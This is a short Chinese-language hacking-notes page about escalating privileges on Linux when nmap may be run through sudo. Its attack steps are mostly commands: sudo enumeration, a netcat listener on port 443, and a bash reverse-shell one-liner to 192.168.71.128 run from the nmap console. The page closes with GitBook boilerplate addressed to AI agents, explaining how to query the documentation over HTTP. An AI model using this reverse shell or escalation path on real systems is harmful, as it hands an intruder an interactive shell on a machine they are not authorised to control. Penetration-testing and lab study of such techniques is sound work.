> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md).
# Sudo (Nmap) - Linux 权限提升
## 这是什么
Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（Nmap）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
sudo -l
sudo --version
```
## 示例
使用以下命令检查我们的用户是否具有 sudo 权限：
```bash
sudo -l
```
如果你使用 **sudo -u jordan nmap** 并且它被接受，这意味着不会要求输入密码，并且该命令将以 jordan 用户身份执行：
搜索 [GTFOBins](https://gtfobins.github.io/) 并按以下内容筛选 **Nmap**:
最后，如果我们执行以下命令，我们将获得一个以 Jordan 用户身份的 shell
和 nmap 一样，当你输入时，它不会显示出来。我们要做的是在我们的终端中监听 Netcat：
```bash
nc -nlvp 443
```
然后在 nmap 控制台中运行以下命令以获得反向 shell：
```bash
bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-nmap-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.